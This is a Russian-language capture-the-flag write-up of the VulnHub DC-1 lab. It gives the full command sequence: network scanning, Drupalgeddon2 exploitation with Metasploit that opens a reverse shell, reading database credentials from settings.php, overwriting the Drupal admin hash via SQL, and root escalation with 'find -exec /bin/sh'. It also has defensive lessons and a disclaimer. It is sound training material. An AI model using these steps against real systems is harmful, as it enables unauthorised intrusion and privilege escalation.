VulnHub-DC1-Writeup

"Заметки по лабораторным работам по пентесту, документирующие полные цепочки атак — от разведки до root."

🔓 VulnHub — DC-1 Boot-to-Root Writeup

Сложность: Начальный–Средний
Платформа: VulnHub
Цель: Получить все 4 флага и добиться полной компрометации с правами root
ОС атакующего: Kali Linux (VirtualBox — NAT Network)
ОС цели: Debian Linux (CMS Drupal 7)

📌 Содержание

1. Настройка лаборатории
2. Разведка и сбор информации
3. Эксплуатация — удалённое выполнение кода
4. Пост-эксплуатация — стабилизация шелла
5. Флаг 1 — перечисление веб-сервера
6. Флаг 2 — извлечение учётных данных БД
7. Флаг 3 — доступ к панели администратора через манипуляцию хэшем
8. Флаг 4 и Root — повышение привилегий через SUID
9. Сводка по навыкам и инструментам
10. Ключевые выводы

🛠 Настройка лаборатории

Обе виртуальные машины были настроены в одной NAT Network в VirtualBox, чтобы обеспечить взаимодействие между ВМ, сохраняя при этом изолированную лабораторную среду.

🔍 Разведка и сбор информации

Обнаружение хостов

Использовал arp-scan для определения всех активных хостов в локальной подсети:

sudo arp-scan -l

Результат: Цель обнаружена по адресу 10.0.2.3

Сканирование служб и портов

Запустил полное сканирование Nmap с определением версий и стандартными скриптами:

sudo nmap -sV -sC 10.0.2.3

Ключевые находки:

🔑 Критично: Nmap явно идентифицировал веб-приложение как Drupal 7 через HTTP-заголовки генератора — что подтверждает известную уязвимую версию CMS.

💥 Эксплуатация — удалённое выполнение кода

Уязвимость: Drupalgeddon2 (CVE-2018-7600)

Drupal 7 подвержен критической уязвимости удалённого выполнения кода (RCE) в своём Form API. Неаутентифицированный атакующий может отправить специально сформированный HTTP-запрос, который серверная часть выполнит как системную команду — без какой-либо аутентификации.

Запущен Metasploit Framework:

msfconsole
search drupalgeddon
use exploit/multi/http/drupal_drupageddon2
set RHOSTS 10.0.2.3
exploit

Результат: Обратный шелл Meterpreter успешно открыт под пользователем www-data (процесс веб-сервера).

🐚 Пост-эксплуатация — стабилизация шелла

Переключился из Meterpreter в нативный шелл Linux и стабилизировал его с помощью Python PTY:

shell
python -c 'import pty; pty.spawn("/bin/bash")'

Результат: Полноценный интерактивный bash-шелл под пользователем www-data@DC-1 в каталоге /var/www

🚩 Флаг 1 — перечисление веб-сервера

ls -la /var/www
cat flag1.txt

Содержимое флага 1:

Every good CMS needs a config file - and so do you.

💡 Подсказка: Указывает прямо на конфигурационный файл Drupal — settings.php

🚩 Флаг 2 — извлечение учётных данных БД

Перешёл в каталог конфигурации Drupal и изучил файл настроек:

cd /var/www/sites/default
cat settings.php

Обнаружены учётные данные, встроенные в массив $databases:

Содержимое флага 2 (из комментариев в файле):

Brute force and dictionary attacks aren't the only ways to gain access
(and you WILL need access). What can you do with these credentials?

💡 Подсказка: Используйте учётные данные для доступа к серверу MySQL — без какого-либо брутфорса.

🚩 Флаг 3 — доступ к панели администратора через манипуляцию хэшем

Шаг 1: Перечисление базы данных

mysql -u dbuser -pR0ck3t
use drupaldb;
select uid, name, pass from users;

Обнаружены хэшированные пароли для admin и fred — оба используют схему хэширования Drupal $S$ (на основе SHA-512).

Шаг 2: Формирование кастомного хэша пароля

Вместо взлома существующего хэша использовал встроенный PHP-скрипт Drupal для генерации нового:

cd /var/www
php scripts/password-hash.sh password123

Вывод: Действительный хэш $S$D... для пароля password123

Шаг 3: Перезапись пароля администратора через SQL

use drupaldb;
update users set pass='$S$DUxDdAfJe08Z9viU5Tly0uUZXFThRFMpeBwz4T07HB6Rj0Fm2JTp' where name='admin';

Выполнен вход на http://10.0.2.3 под admin / password123 успешно.

Содержимое флага 3 (найдено в панели контента администратора Drupal):

Special PERMS will help FIND the passwd - but you'll need to -exec
that command to work out how to get what's in the shadow.

💡 Подсказка: Неправильная конфигурация SUID-бита у команды find — выявлен вектор повышения привилегий.

🚩 Флаг 4 и Root — повышение привилегий через SUID

Шаг 1: Перечисление пользователей системы

cat /etc/passwd

Найден пользователь flag4 с домашним каталогом /home/flag4.

cat /home/flag4/flag4.txt

Содержимое флага 4:

Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?

Шаг 2: Эксплуатация SUID через find

У бинарника find был установлен SUID-бит, то есть он выполняется с привилегиями владельца файла (root) независимо от того, кто его запускает.

find . -exec /bin/sh \;
whoami
# root

Шаг 3: Флаг root

cd /root
cat thefinalflag.txt

Well done!!! Hope you enjoyed DC-1!

Достигнута полная компрометация с правами root. ✅

🛠 Сводка по навыкам и инструментам

Использованные инструменты

Продемонстрированные навыки

• ✅ Сетевая разведка и обнаружение хостов
• ✅ Определение служб и идентификация CMS
• ✅ Исследование CVE и использование публичных эксплойтов
• ✅ Metasploit Framework — развёртывание полезной нагрузки
• ✅ Пост-эксплуатация и горизонтальное перемещение
• ✅ Перечисление БД и извлечение учётных данных
• ✅ Формирование хэшей паролей и SQL-инъекции через CLI
• ✅ Аудит SUID-бинарников в Linux
• ✅ Повышение привилегий до root

📚 Ключевые выводы

С точки зрения атакующего:

• Не пропатченные CMS-платформы (даже отстающие на 1–2 мажорные версии) тривиально эксплуатируются через публичные CVE и модули Metasploit.
• Конфигурационные файлы, такие как settings.php, часто содержат пароли в открытом виде, что переводит атакующего от веб-доступа к полному контролю над базой данных.
• Неправильные настройки SUID на распространённых бинарниках, таких как find, vim или python, — один из самых надёжных векторов повышения привилегий в средах Linux.

С точки зрения защиты:

• Всегда оперативно обновляйте CMS-платформы — для Drupalgeddon2 патчи были доступны; уязвимость заключалась в задержке их установки.
• Секреты (учётные данные БД) никогда не должны храниться в доступных через веб конфигурационных файлах без шифрования или абстракции через переменные окружения.
• Регулярно проверяйте SUID-бинарники: find / -perm -4000 -type f 2>/dev/null должна быть частью любого чек-листа по укреплению Linux.

⚠️ Отказ от ответственности

Этот writeup предназначен строго для образовательных целей и описывает действия, выполненные в изолированной, легальной лабораторной среде. Никогда не пытайтесь применять эти техники против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.

Выполнено Prapul | Профиль TryHackMe | GitHub